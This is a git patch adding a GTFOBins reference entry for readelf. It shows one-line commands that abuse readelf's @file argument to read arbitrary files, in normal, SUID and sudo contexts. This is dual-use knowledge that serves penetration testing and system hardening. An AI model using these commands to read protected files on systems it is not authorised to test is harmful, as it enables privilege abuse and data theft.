From 6ebfcef36c8b77b17a4769486b999f260cfffc7a Mon Sep 17 00:00:00 2001 From: 0rbz <40279247+0rbz@users.noreply.github.com> Date: Mon, 31 Dec 2018 14:58:24 -0500 Subject: [PATCH] Create readelf.md --- _gtfobins/readelf.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 _gtfobins/readelf.md diff --git a/_gtfobins/readelf.md b/_gtfobins/readelf.md new file mode 100644 index 0000000..8d16f42 --- /dev/null +++ b/_gtfobins/readelf.md @@ -0,0 +1,18 @@ +--- +description: | + Each line is corrupted by a prefix string and wrapped inside single quotes. + +functions: + file-read: + - code: | + LFILE=file_to_read + readelf -a @$LFILE + suid: + - code: | + LFILE=file_to_read + readelf -a @$LFILE + sudo: + - code: | + LFILE=file_to_read + sudo readelf -a @$LFILE +---